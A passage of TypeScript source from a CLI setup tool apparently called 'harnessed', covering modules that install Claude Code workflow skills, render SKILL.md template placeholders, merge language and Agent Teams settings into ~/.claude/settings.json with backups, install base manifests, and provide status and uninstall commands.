= detectUserLang(override)\n\n let raw: string | undefined\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n return { status: 'warn', message: `read ${path} failed: ${(err as Error).message}` }\n }\n // Case (a): file does not exist → create fresh with detected lang.\n return createFreshSettings(path, detected)\n }\n\n let data: Record<string, unknown>\n try {\n const parsed = JSON.parse(raw) as unknown\n if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {\n return { status: 'warn', message: `${path} is not a JSON object` }\n }\n data = parsed as Record<string, unknown>\n } catch (err) {\n return { status: 'warn', message: `${path} malformed JSON: ${(err as Error).message}` }\n }\n\n const env = (data.env ?? {}) as Record<string, unknown>\n const existing = env.HARNESSED_USER_LANG\n if (typeof existing === 'string' && existing.length > 0 && override === undefined) {\n // Case (b): user-managed value present + no explicit override → respect it.\n return { status: 'already-set', path, existing }\n }\n\n // Case (c): backup original + merge add/update key (non-destructive).\n const backupPath = await backupOriginal(raw)\n if (backupPath.status === 'warn') return backupPath\n\n data.env = { ...env, HARNESSED_USER_LANG: detected }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n\n return { status: 'enabled', path, backupPath: backupPath.path, detected }\n}\n\nasync function createFreshSettings(\n path: string,\n detected: UserLangCode,\n): Promise<EnableUserLangResult> {\n const data = { env: { HARNESSED_USER_LANG: detected } }\n try {\n await mkdir(join(homedir(), '.claude'), { recursive: true })\n } catch (err) {\n return { status: 'warn', message: `mkdir ~/.claude failed: ${(err as Error).message}` }\n }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n return { status: 'created', path, detected }\n}\n\nasync function backupOriginal(\n raw: string,\n): Promise<{ status: 'ok'; path: string } | { status: 'warn'; message: string }> {\n const backupRoot = harnessedSubdir('backups')\n const ts = new Date().toISOString().replace(/:/g, '-')\n const backupPath = join(backupRoot, `settings.json.${ts}.bak`)\n try {\n await mkdir(backupRoot, { recursive: true })\n await writeFile(backupPath, raw, 'utf8')\n return { status: 'ok', path: backupPath }\n } catch (err) {\n return { status: 'warn', message: `backup ${backupPath} failed: ${(err as Error).message}` }\n }\n}\n\nasync function atomicWrite(path: string, content: string): Promise<string | undefined> {\n const tmpPath = `${path}.tmp-${process.pid}-${Date.now()}`\n try {\n await writeFile(tmpPath, content, 'utf8')\n await rename(tmpPath, path)\n return undefined\n } catch (err) {\n return `write ${path} failed: ${(err as Error).message}`\n }\n}\n","// v3.4.2 redesign — Render capability template placeholders in installed SKILL.md.\n//\n// Setup pipeline:\n// 1. `cp` recursively copies workflows/<x>/ → ~/.claude/skills/<x>/ (existing).\n// 2. THIS module post-processes copied SKILL.md files: regex-replace\n// `{{ capabilities.<name>.cmd }}` placeholders with resolver output.\n// 3. Warnings collected per skill, returned to setup.ts for end-of-run summary.\n//\n// v3.4.2 change vs v3.4.1: resolver now receives BOTH installed plugin set AND\n// installed user-skill set, so it can presence-check capabilities backed by either\n// install path. The resolver never mutates cmd — it only emits warnings when\n// install_type is declared and the backing capability is absent on disk.\n//\n// Karpathy simplicity: file ≤ 200 LOC; no new deps; reads capabilities.yaml once.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { parse as parseYaml } from 'yaml'\nimport {\n type CapabilityMap,\n readInstalledPlugins,\n readInstalledUserSkills,\n renderSkillBody,\n} from './capabilityResolver.js'\n\n/** Per-skill render outcome — passed back to setup.ts for log emission. */\nexport interface SkillRenderResult {\n /** Skill name (e.g. `verify-paranoid`). */\n name: string\n /** Skill SKILL.md absolute path that was rewritten (or attempted). */\n skillPath: string\n /** True when at least one placeholder was substituted. */\n rendered: boolean\n /** Resolver warnings (plugin / user-skill missing, unknown capability ref). */\n warnings: string[]\n /** Hard error (read/parse/write failure) — caller emits warn and continues. */\n error?: string\n}\n\n/** Load + parse `<workflowsDir>/capabilities.yaml` → CapabilityMap. */\nexport async function loadCapabilities(workflowsDir: string): Promise<CapabilityMap> {\n const path = join(workflowsDir, 'capabilities.yaml')\n const raw = await readFile(path, 'utf8')\n const doc = parseYaml(raw) as { capabilities?: CapabilityMap }\n return doc?.capabilities ?? {}\n}\n\n/**\n * Render `{{ capabilities.<name>.cmd }}` placeholders in a single installed\n * `~/.claude/skills/<name>/SKILL.md` file in-place.\n *\n * Non-fatal: any read/write/parse error returns a result with `error` set so\n * caller (setup.ts) can warn-and-continue (sister fallback 铁律 1).\n */\nexport async function renderSkillFile(\n skillName: string,\n skillsBase: string,\n capabilities: CapabilityMap,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n): Promise<SkillRenderResult> {\n const skillPath = join(skillsBase, skillName, 'SKILL.md')\n const result: SkillRenderResult = {\n name: skillName,\n skillPath,\n rendered: false,\n warnings: [],\n }\n let body: string\n try {\n body = await readFile(skillPath, 'utf8')\n } catch (e) {\n result.error = `read failed: ${(e as Error).message}`\n return result\n }\n const rendered = renderSkillBody(body, capabilities, installedPlugins, installedUserSkills)\n if (rendered.body === body) {\n // No placeholders found — no-op (e.g. research/SKILL.md has none).\n result.warnings = rendered.warnings\n return result\n }\n try {\n await writeFile(skillPath, rendered.body, 'utf8')\n result.rendered = true\n result.warnings = rendered.warnings\n } catch (e) {\n result.error = `write failed: ${(e as Error).message}`\n }\n return result\n}\n\n/**\n * Render placeholders for many installed skills in sequence (small N — 25 skills).\n * Serial avoids fs write contention; total cost is <100ms in practice.\n */\nexport async function renderAllSkills(\n skillNames: string[],\n skillsBase: string,\n workflowsDir: string,\n homedirOverride?: string,\n): Promise<{ results: SkillRenderResult[]; aggregatedWarnings: string[] }> {\n let capabilities: CapabilityMap = {}\n try {\n capabilities = await loadCapabilities(workflowsDir)\n } catch (e) {\n // capabilities.yaml unreadable → return all-skipped result with a single\n // aggregated warning. Setup remains non-blocking.\n return {\n results: skillNames.map((name) => ({\n name,\n skillPath: join(skillsBase, name, 'SKILL.md'),\n rendered: false,\n warnings: [],\n error: `capabilities.yaml load failed: ${(e as Error).message}`,\n })),\n aggregatedWarnings: [\n `capabilities.yaml unreadable — SKILL.md placeholders left verbatim (${(e as Error).message})`,\n ],\n }\n }\n const installedPlugins = readInstalledPlugins(homedirOverride)\n const installedUserSkills = readInstalledUserSkills(homedirOverride)\n const results: SkillRenderResult[] = []\n const warningSet = new Set<string>()\n for (const name of skillNames) {\n const r = await renderSkillFile(\n name,\n skillsBase,\n capabilities,\n installedPlugins,\n installedUserSkills,\n )\n results.push(r)\n for (const w of r.warnings) warningSet.add(w)\n if (r.error) warningSet.add(`${name}: ${r.error}`)\n }\n return { results, aggregatedWarnings: [...warningSet] }\n}\n","// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split for src/cli/setup.ts (CK deferred).\n// Sister Phase 3.4 W1 doctor.ts inline shrink + origin-check.ts sister-share extract pattern.\n// Extracts: (1) Agent Teams warn UX, (2) workflow SKILL.md scan, (3) Step B parallel install.\n//\n// Phase v3.0-3.3 T3.3.W0.12 — nested 2-level scan returning NestedWorkflow[] so\n// callers can flatten slash-cmd name + know master vs sub-stage. Scan logic lives\n// in ./scan-nested.ts (karpathy ≤200L split).\n//\n// v3.6.1 — removed renderDeprecationBlock re-export + ScanResult.deprecated\n// field; execute-task / plan-feature / verify-work promoted to FLAT_LEGACY_KEEP\n// (active CLI subcommand aliases, not deprecated).\n\nimport { readFile } from 'node:fs/promises'\nimport { runInstall } from '../../installers/index.js'\nimport type { InstallOpts } from '../../installers/lib/types.js'\nimport { validateManifestFile } from '../../manifest/validate.js'\nimport { checkAgentTeams } from './checkAgentTeams.js'\nimport type { ScanResult } from './scan-nested.js'\nimport { scanWorkflowsNested } from './scan-nested.js'\n\nexport type { NestedWorkflow, ScanResult } from './scan-nested.js'\n\n/** Phase 2.1 deferred installer methods — counted as skipped, not failed (D-11). */\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\n/**\n * Phase v2.0-2.3 W1.1: Agent Teams env probe (non-blocking warn).\n * Per Q-AUDIT-5b + R20.11 acceptance e + PLAN-ENG-REVIEW § Section 5 [LOW]:\n * Warn-only if missing — parallelism-gate runtime degrades to subagent fan-out\n * when Agent Teams CC env flag is off (session-scoped tolerance policy).\n */\nexport async function warnIfAgentTeamsMissing(): Promise<void> {\n const r = await checkAgentTeams()\n if (r.status !== 'missing') return\n console.warn('\\n⚠️ Agent Teams 未启用 — parallelism-gate 升级路径不可用')\n console.warn(' 修复: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1')\n console.warn(\n ' 说明: harnessed v3.0 三层栈方法论 parallelism-gate 升级路径需 CC 2.1.133+ Agent Teams enable',\n )\n console.warn(\n ' 不阻塞 setup,后续 parallelism-gate workflow phase 触发时自动降级 subagent fan-out\\n',\n )\n // NOT exit — non-blocking per R20.11 acceptance a\n}\n\n/** v3.0 nested 2-level scan — returns NestedWorkflow[]. */\nexport async function scanWorkflowsWithSkill(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n return scanWorkflowsNested(workflowsDir, entries)\n}\n\nexport interface StepBResult {\n installed: string[]\n alreadyInstalled: string[]\n skipped: string[]\n failed: string[]\n elapsedMs: number\n}\n\n/** Step B: parallel install-base auto-glob chain via Promise.allSettled (v1.0.3 T1.1). */\nexport async function runStepBInstall(manifestPaths: string[]): Promise<StepBResult> {\n const opts: InstallOpts = {\n apply: true,\n dryRun: false,\n system: false,\n nonInteractive: true,\n fullDiff: false,\n color: 'auto',\n }\n const start = Date.now()\n const settled = await Promise.allSettled(\n manifestPaths.map(async (path) => {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'failed' as const, name: path, reason: `read: ${(e as Error).message}` }\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n return {\n status: 'failed' as const,\n name: path,\n reason: `validate: ${v.errors[0]?.message ?? 'unknown'}`,\n }\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) return { status: 'skipped' as const, name }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) return { status: 'skipped' as const, name }\n if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled)\n return { status: 'already-installed' as const, name }\n if (r.ok) return { status: 'installed' as const, name }\n return { status: 'failed' as const, name, reason: r.error.message }\n }),\n )\n\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: string[] = []\n const failed: string[] = []\n for (const s of settled) {\n const v =\n s.status === 'fulfilled'\n ? s.value\n : {\n status: 'failed' as const,\n name: '?',\n reason: String((s as PromiseRejectedResult).reason),\n }\n if (v.status === 'installed') installed.push(v.name)\n else if (v.status === 'already-installed') alreadyInstalled.push(v.name)\n else if (v.status === 'skipped') skipped.push(v.name)\n else\n failed.push(`${v.name}: ${(v as { status: 'failed'; name: string; reason: string }).reason}`)\n }\n return { installed, alreadyInstalled, skipped, failed, elapsedMs: Date.now() - start }\n}\n","// Phase v3.0-3.3 T3.3.W0.12 — Nested workflows/<stage>/<sub>/ 2-level scan helper.\n// v3.6.1 — removed FLAT_LEGACY_DEPRECATED + renderDeprecationBlock dead code;\n// execute-task / plan-feature / verify-work are active CLI subcommand aliases\n// (thin shims invoking runWorkflow against their v2/v3 workflow.yaml — see\n// src/cli/execute-task.ts and sister), NOT deprecated. Promoted to FLAT_LEGACY_KEEP.\n//\n// Contract:\n// Path A: flat top-level SKILL.md (research / retro / auto + 3 v2-schema active aliases keep).\n// Path B: nested 2-level workflows/<stage>/<sub>/SKILL.md\n// - sub === 'auto' → master, slash-cmd flatten to bare `<stage>`\n// - sub !== 'auto' → sub-stage, slash-cmd flatten to `<stage>-<sub>`\n// Skip: disciplines/ + judgments/ (K10 — non-workflow manifest dirs).\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\n\nexport interface NestedWorkflow {\n /** Slash-cmd name (flat) — e.g. \"discuss-strategic\" or \"discuss\" (master). */\n name: string\n /** Source dir relative to workflowsDir — e.g. \"discuss/strategic\" or \"research\". */\n relPath: string\n /** Whether this is a master (nested at <stage>/auto/SKILL.md). */\n isMaster: boolean\n}\n\n/** Flat top-level dirs that remain valid as standalone v3 workflows (KEEP).\n * - research / retro / auto: native standalone v3 workflows.\n * - execute-task / plan-feature / verify-work: active CLI subcommand aliases\n * (v3.6.1 — promoted from FLAT_LEGACY_DEPRECATED after recognising the\n * `harnessed execute-task` / `plan-feature` / `verify-work` subcommands are\n * thin shims invoking runWorkflow; workflow.yaml still required at runtime). */\nexport const FLAT_LEGACY_KEEP = new Set([\n 'research',\n 'retro',\n 'auto',\n 'execute-task',\n 'plan-feature',\n 'verify-work',\n])\n\n/** v3.1.0 — Top-level standalone dirs that are super-masters (isMaster=true flag\n * for setup.ts `(master)` tag rendering). Currently only `auto`; sister research /\n * retro remain non-master standalone workflows. */\nexport const FLAT_TOP_LEVEL_MASTERS = new Set(['auto'])\n\n/** Non-workflow manifest dirs to skip during nested scan (K10 mitigation). */\nexport const NON_WORKFLOW_DIRS = new Set(['disciplines', 'judgments'])\n\nexport interface ScanResult {\n workflows: NestedWorkflow[]\n}\n\n/** Nested 2-level scan: top-level + 1 nested depth. */\nexport async function scanWorkflowsNested(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n const workflows: NestedWorkflow[] = []\n\n for (const entry of entries.sort()) {\n if (NON_WORKFLOW_DIRS.has(entry)) continue // K10 — skip disciplines/ + judgments/\n\n const src = join(workflowsDir, entry)\n let s: { isDirectory: () => boolean }\n try {\n s = await stat(src)\n } catch {\n continue\n }\n if (!s.isDirectory()) continue\n\n // Path A: flat top-level SKILL.md (v2 legacy OR standalone v3 keep).\n let hasFlatSkill = false\n try {\n await stat(join(src, 'SKILL.md'))\n hasFlatSkill = true\n } catch {\n hasFlatSkill = false\n }\n\n if (hasFlatSkill) {\n if (FLAT_LEGACY_KEEP.has(entry)) {\n workflows.push({ name: entry, relPath: entry, isMaster: FLAT_TOP_LEVEL_MASTERS.has(entry) })\n continue\n }\n // Unknown flat top-level with SKILL.md — install as-is (forward compat).\n workflows.push({ name: entry, relPath: entry, isMaster: false })\n continue\n }\n\n // Path B: nested 2-level — workflows/<stage>/<sub>/SKILL.md\n let subEntries: string[]\n try {\n subEntries = await readdir(src)\n } catch {\n continue\n }\n for (const sub of subEntries.sort()) {\n const subDir = join(src, sub)\n let ss: { isDirectory: () => boolean }\n try {\n ss = await stat(subDir)\n } catch {\n continue\n }\n if (!ss.isDirectory()) continue\n try {\n await stat(join(subDir, 'SKILL.md'))\n } catch {\n continue\n }\n // Flatten to slash-cmd name (per D-02 bare cmd):\n // workflows/discuss/auto/ → /discuss (master)\n // workflows/discuss/strategic/ → /discuss-strategic (sub-stage)\n const name = sub === 'auto' ? entry : `${entry}-${sub}`\n workflows.push({ name, relPath: `${entry}/${sub}`, isMaster: sub === 'auto' })\n }\n }\n\n return { workflows }\n}\n","// v1.0.3 T1.1 — Step B serial → parallel Promise.allSettled (~75% speedup; 16 manifests 30-50s → 5-10s).\n// v1.0.2 T1.3+T1.4 — cli subcommand `setup` full one-shot onboarding (UX redesign post-v1.0.1).\n// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split: helpers moved to ./lib/setup-helpers.ts (CK deferred).\n//\n// IMPL NOTE (immediate-install default + --dry-run opt-in, non-expert UX):\n// `harnessed setup` executes immediately by default (non-expert UX; v1.0.2 user feedback).\n// `--dry-run` flag opt-in for advanced preview. Sister install.ts pattern REVERSED.\n// Step A: copies each workflows/<name>/ dir with SKILL.md to ~/.claude/skills/<name>/.\n// Step B: chains install-base auto-glob (installs all manifests/{tools,skill-packs}/*.yaml).\n// Workflows without SKILL.md are skipped in Step A.\n//\n// Exit codes:\n// 0 → at least 1 workflow installed + base manifests processed\n// 1 → fs.cp failed\n// 2 → no SKILL.md workflows found (nothing to install)\n\nimport { cp, mkdir, readdir, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { readInstalledPlugins, readInstalledUserSkills } from './lib/capabilityResolver.js'\nimport { enableAgentTeamsInSettings } from './lib/enableAgentTeamsInSettings.js'\nimport { enableUserLangInSettings } from './lib/enableUserLangInSettings.js'\nimport { loadRolePrompts, writeAllCommands } from './lib/generateCommands.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { loadCapabilities, renderAllSkills } from './lib/renderSkillTemplates.js'\nimport {\n runStepBInstall,\n scanWorkflowsWithSkill,\n warnIfAgentTeamsMissing,\n} from './lib/setup-helpers.js'\n\ninterface RawOpts {\n dryRun?: boolean\n userLang?: string\n nonInteractive?: boolean\n autoInstall?: boolean // v3.9.0 P4 — commander `--no-auto-install` flag flips this to false\n}\n\nasync function listBaseManifests(pkgRoot: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(pkgRoot, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(pkgRoot, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerSetup(program: Command): void {\n program\n .command('setup')\n .description(\n 'One-shot onboarding: install workflow skills + base manifests to ~/.claude/ (immediate by default — use --dry-run for preview)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option(\n '--user-lang <code>',\n 'override detected OS locale for env.HARNESSED_USER_LANG (en | zh-Hans / zh-CN / zh-TW)',\n )\n // v3.9.0 P4 — auto-install third-party plugins via Clack confirm prompt\n // (default opt-in). `--non-interactive` skips prompts for CI/scripts;\n // `--no-auto-install` keeps v3.8.x advisory-only behavior.\n .option('--non-interactive', 'skip all confirm prompts (CI / scripted setup)')\n .option('--no-auto-install', 'do not prompt to auto-install missing plugins (advisory only)')\n .action(async (raw: RawOpts) => {\n const dryRun = raw.dryRun === true\n const pkgRoot = getPackageRoot()\n const workflowsDir = resolve(pkgRoot, 'workflows')\n const skillsBase = resolve(homedir(), '.claude', 'skills')\n\n // Agent Teams env probe (non-blocking warn) — sister R20.11 acceptance e.\n await warnIfAgentTeamsMissing()\n\n // ── Step A: workflow SKILL.md scan ──────────────────────────────────────\n let entries: string[]\n try {\n entries = await readdir(workflowsDir)\n } catch {\n console.error(t('setup.workflows_not_found', { path: workflowsDir }))\n process.exit(1)\n }\n\n const { workflows: toInstall } = await scanWorkflowsWithSkill(workflowsDir, entries)\n\n if (toInstall.length === 0) {\n console.log(t('setup.nothing_to_install'))\n process.exit(2)\n }\n\n if (dryRun) {\n console.log(t('setup.dry_run.header', { count: toInstall.length, path: skillsBase }))\n for (const wf of toInstall) {\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` ${wf.name} → ${join(skillsBase, wf.name)}${masterTag}`)\n }\n console.log(t('setup.dry_run.run_hint'))\n process.exit(0)\n }\n\n let skillsInstalled = 0\n for (const wf of toInstall) {\n const src = join(workflowsDir, wf.relPath)\n const dst = join(skillsBase, wf.name)\n try {\n await cp(src, dst, { recursive: true, force: true })\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` [A] installed ${wf.name} → ${dst}${masterTag}`)\n skillsInstalled++\n } catch (e) {\n console.error(t('setup.copy_failed', { name: wf.name, message: (e as Error).message }))\n process.exit(1)\n }\n }\n\n console.log(t('setup.step_a_complete', { count: skillsInstalled, path: skillsBase }))\n\n // ── Step A.5: Render `{{ capabilities.<name>.cmd }}` placeholders ───────\n // v3.4.1 hotfix — sub-workflow SKILL.md files contain Jinja-style template\n // refs that were never substituted at install time; end users saw literal\n // `{{ capabilities.gstack-review.cmd }}` strings in installed skills so\n // `/verify-paranoid` (and 20+ siblings) never invoked the real plugin cmd.\n // Resolver reads ~/.claude/plugins/installed_plugins.json + capabilities.yaml,\n // renders to namespaced form (`/gstack:review`) when plugin installed, OR\n // leaves bare cmd + emits warning when plugin missing. Non-blocking — any\n // unexpected error reduces to per-skill warn-and-continue (sister fallback\n // 铁律 1).\n const skillNames = toInstall.map((wf) => wf.name)\n const rendered = await renderAllSkills(skillNames, skillsBase, workflowsDir)\n const renderedCount = rendered.results.filter((r) => r.rendered).length\n console.log(\n t('setup.step_a_render.complete', {\n count: renderedCount,\n total: skillsInstalled,\n }),\n )\n if (rendered.aggregatedWarnings.length > 0) {\n console.warn(t('setup.step_a_render.warnings_header'))\n for (const w of rendered.aggregatedWarnings) {\n console.warn(` - ${w}`)\n }\n }\n\n // ── Step A.6: Generate ~/.claude/commands/<x>.md (v3.4.3) ───────────────\n // v3.4.3 — SKILL.md alone does NOT register a slash command. Claude Code\n // platform-level slash commands require `~/.claude/commands/<x>.md`\n // (filename = slash name; YAML frontmatter + body = prompt). This step\n // writes one per installed sub-workflow, with a dual-path body: preferred\n // (upstream slash cmd) + fallback (Task-spawn self-contained role prompt\n // adapted from gstack expert prompts). Skip + warn if user already has\n // a same-named commands/ file (additive only — never overwrite).\n const commandsBase = resolve(homedir(), '.claude', 'commands')\n try {\n await mkdir(commandsBase, { recursive: true })\n } catch (e) {\n console.warn(\n ` [A.6] could not create ${commandsBase} — skipping commands/ generation (${(e as Error).message})`,\n )\n }\n let capabilitiesMap = {}\n try {\n capabilitiesMap = await loadCapabilities(workflowsDir)\n } catch (e) {\n console.warn(\n ` [A.6] capabilities.yaml unreadable — skipping commands/ generation (${(e as Error).message})`,\n )\n }\n const rolePrompts = await loadRolePrompts(workflowsDir)\n const installedPlugins = readInstalledPlugins()\n const installedUserSkills = readInstalledUserSkills()\n const cmdResult = await writeAllCommands(\n skillNames,\n commandsBase,\n rolePrompts,\n capabilitiesMap,\n installedPlugins,\n installedUserSkills,\n async (p, c) => writeFile(p, c, 'utf8'),\n )\n const writtenCount = cmdResult.results.filter((r) => r.written).length\n const skippedCount = cmdResult.results.filter((r) => !r.written && r.warning).length\n console.log(\n ` [A.6] generated ${writtenCount} commands/<x>.md file(s) (${skippedCount} skipped — existing user file or schema warn)`,\n )\n for (const r of cmdResult.results) {\n if (r.written) {\n console.log(` [A.6] wrote /${r.name} → ${r.path}`)\n } else if (r.warning) {\n console.warn(` [A.6] skipped /${r.name}: ${r.warning}`)\n }\n }\n\n // ── Step C: Agent Teams auto-enable in ~/.claude/settings.json ──────────\n // v3.3.1 hotfix — Q-AUDIT-5b LOCKED root-level env.* schema. Pattern A\n // 3-teammate + /verify-multispec 4-specialist + masterOrchestrator\n // delegates_to recursive workflow 的前提。Non-destructive merge with\n // backup; warn + skip on any error (sister fallback 铁律 1).\n const cResult = await enableAgentTeamsInSettings()\n if (cResult.status === 'created') {\n console.log(t('setup.step_c.created', { path: cResult.path }))\n } else if (cResult.status === 'already-enabled') {\n console.log(t('setup.step_c.already_enabled', { path: cResult.path }))\n } else if (cResult.status === 'enabled') {\n console.log(\n t('setup.step_c.enabled_backup', {\n path: cResult.path,\n backupPath: cResult.backupPath,\n }),\n )\n } else {\n console.warn(t('setup.step_c.skipped', { message: cResult.message }))\n }\n\n // ── Step D: User language preference write (v3.4.0) ─────────────────────\n // Detect OS locale → write env.HARNESSED_USER_LANG ('en' | 'zh-Hans').\n // Honors `--user-lang` override + existing setting respect (idempotent).\n // Sister Step C non-destructive merge + warn-skip pattern.\n const dResult = await enableUserLangInSettings(raw.userLang)\n if (dResult.status === 'created') {\n console.log(t('setup.step_d.created', { path: dResult.path, lang: dResult.detected }))\n } else if (dResult.status === 'already-set') {\n console.log(t('setup.step_d.already_set', { path: dResult.path, lang: dResult.existing }))\n } else if (dResult.status === 'enabled') {\n console.log(\n t('setup.step_d.enabled_backup', {\n path: dResult.path,\n lang: dResult.detected,\n backupPath: dResult.backupPath,\n }),\n )\n } else {\n console.warn(t('setup.step_d.skipped', { message: dResult.message }))\n }\n\n // ── Step B: install-base auto-glob chain (parallel) ─────────────────────\n const manifestPaths = await listBaseManifests(pkgRoot)\n const b = await runStepBInstall(manifestPaths)\n const stepBMs = (b.elapsedMs / 1000).toFixed(1)\n console.log(\n t('setup.step_b_complete', {\n installed: b.installed.length,\n already: b.alreadyInstalled.length,\n skipped: b.skipped.length,\n failed: b.failed.length,\n seconds: stepBMs,\n }),\n )\n for (const n of b.installed) console.log(` [B] installed ${n}`)\n for (const n of b.alreadyInstalled)\n console.log(\n ` [B] already-installed ${n} — run \\`/mcp\\` in Claude Code to verify connection`,\n )\n for (const n of b.skipped) console.log(` [B] skipped ${n}`)\n for (const n of b.failed) console.error(` [B] failed ${n}`)\n\n console.log(\n t('setup.complete', {\n skills: skillsInstalled,\n manifests: b.installed.length + b.alreadyInstalled.length,\n }),\n )\n if (b.alreadyInstalled.length > 0 || b.installed.length > 0) {\n console.log(t('setup.mcp_hint'))\n }\n\n // ── Phase v2.0-2.3 W1.1: Pure bundled distribution highlight (D-01) ───\n // workflows live in <packageRoot>/workflows/ — share-only readonly,\n // NOT user-dir override (~/.harnessed/ NOT used per D-01 LOCKED).\n console.log(t('setup.bundled_summary'))\n console.log(t('setup.bundled_location'))\n // v3.8.0 P3 — advisory doctor hint (NO auto-invoke to avoid CLI subprocess\n // complexity + scope creep; user opts in by running `harnessed doctor`).\n console.log(t('setup.doctor_hint'))\n\n // v3.9.0 P4 — auto-install missing third-party plugins (default opt-in,\n // confirm prompt per plugin). Skips on --non-interactive, --no-auto-install,\n // dry-run path (no side effects per Phase 1 dry-run contract), or non-TTY\n // stdin (CI / piped invocation — can't prompt anyway, fall back to advisory).\n if (!dryRun) {\n const isTty = process.stdin.isTTY === true && process.stdout.isTTY === true\n const { runAutoInstall } = await import('./lib/auto-install.js')\n await runAutoInstall({\n nonInteractive: raw.nonInteractive === true || !isTty,\n autoInstall: raw.autoInstall !== false, // commander default = true; --no-auto-install flips\n })\n }\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `status` per ADR 0004 contract 6 + Pattern C.\n//\n// Reads <harnessed-root>/state.json (lib/state.ts SSOT) and prints installed\n// upstreams, their pinned version, and install timestamp. Partial-install\n// state (ADR 0004 contract 6) is reported when state.json contains an entry\n// without a matching backup snapshot or vice versa — phase 1.2 minimum\n// uses the readState() default-on-ENOENT idiom and treats absence as\n// \"nothing installed yet\" (not an error).\n//\n// Phase 5.1 W2 T2.5 — D-07 lock holder display: reads <harnessed-root>/.lock\n// content (proper-lockfile mtime) + stale auto-detect 10s indicator.\n// v3.0.3 — paths routed through harnessedRoot SoT (homedir-rooted).\n\nimport { stat } from 'node:fs/promises'\nimport type { Command } from 'commander'\nimport lockfile from 'proper-lockfile'\nimport { t } from '../i18n/index.js'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { readState } from '../installers/lib/state.js'\n\nexport function registerStatus(program: Command): void {\n program\n .command('status')\n .description('Show installed upstreams (from <harnessed-root>/state.json)')\n .action(async () => {\n const state = await readState(process.cwd())\n const names = Object.keys(state.installed).sort()\n if (names.length === 0) {\n console.log(t('status.no_installs', { path: harnessedFile('state.json') }))\n } else {\n for (const n of names) {\n const e = state.installed[n]\n if (!e) continue\n console.log(`${n} @ ${e.version} (installed ${e.installedAt})`)\n }\n console.log(t('status.summary_installs', { count: names.length }))\n }\n\n // D-07 LOCKED — display lock holder pid + mtime + stale indicator\n // proper-lockfile.check() returns true when lock is currently held\n const lockPath = harnessedFile('.lock')\n try {\n const isLocked = await lockfile.check(getHarnessedRoot(), {\n lockfilePath: lockPath,\n stale: 10_000,\n })\n if (isLocked) {\n const s = await stat(lockPath)\n const ageMs = Date.now() - s.mtime.getTime()\n const stale = ageMs > 10_000\n console.log(\n t('status.lock_held', {\n since: s.mtime.toISOString(),\n staleSuffix: stale ? t('status.lock_held.stale_suffix') : '',\n }),\n )\n console.log(t('status.lock_release_hint', { path: lockPath }))\n } else {\n console.log(t('status.lock_free'))\n }\n } catch {\n // harnessed root absent or inaccessible = no lock; silent per D-07\n }\n })\n}\n","// Phase 5.2 W1 T1.1 — cli subcommand `uninstall` per R10.3 + ADR 0004.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed uninstall <name>` executes immediately by default (sister install.ts\n// pattern verbatim). Interactive p.confirm() 仍 protect destructive op (user\n// 必须显式 y/yes 才真正删除)。`--dry-run` flag opt-in 高级用户预览。`--yes` skip\n// interactive confirm 仍 require user 显式 opt-in (CI / scripts)。\n//\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since\n// v3.0.1)。Migration: `harnessed uninstall foo --apply --yes` → `harnessed uninstall foo --yes`。\n//\n// IMPL NOTE (D-07 NO --keep-backup): RawOpts explicitly omits keepBackup.\n//\n// Exit code mapping (ADR 0004 contract 6):\n// 0 → uninstall succeeded (ok: true or ephemeral no-op)\n// 1 → uninstall failed (ok: false)\n// 2 → user-aborted / flag-missing / dry-run preview\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport * as p from '@clack/prompts'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { runUninstall } from '../uninstallers/index.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n dryRun?: boolean\n yes?: boolean\n nonInteractive?: boolean\n}\n\nexport function registerUninstall(program: Command): void {\n program\n .command('uninstall <name>')\n .description('Uninstall an upstream (immediate by default — use --dry-run for preview)')\n .option('--dry-run', 'preview only — do not delete files (opt-in for advanced 